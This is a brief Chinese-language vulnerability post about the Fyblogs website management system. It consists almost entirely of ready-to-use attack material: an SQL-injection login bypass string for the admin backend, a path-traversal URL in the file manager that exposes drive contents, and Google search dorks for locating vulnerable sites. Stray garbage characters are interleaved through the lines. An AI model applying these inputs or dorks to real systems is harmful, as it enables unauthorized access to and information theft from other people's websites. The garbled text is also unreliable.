Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
2 m( D2 t7 d! R" C
# l( M# |0 h0 p2 }3 l% i后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
- f- A  {$ {/ o" |  U( C5 n. q; ?+ Fadmin/uploadfile.asp?currentFolder=/upfiles/../

! ]; z% O  b8 |) l1 b- r) g漏洞证明：

2 B: Y. u5 E9 z3 ?$ k谷歌：inurl:type.asp?id=1 新闻中心
$ F2 c: i" L" T7 E0 S, u或者 ：inurl:download_ok.asp?
2 N* c# b& |0 e+ g1 E1 c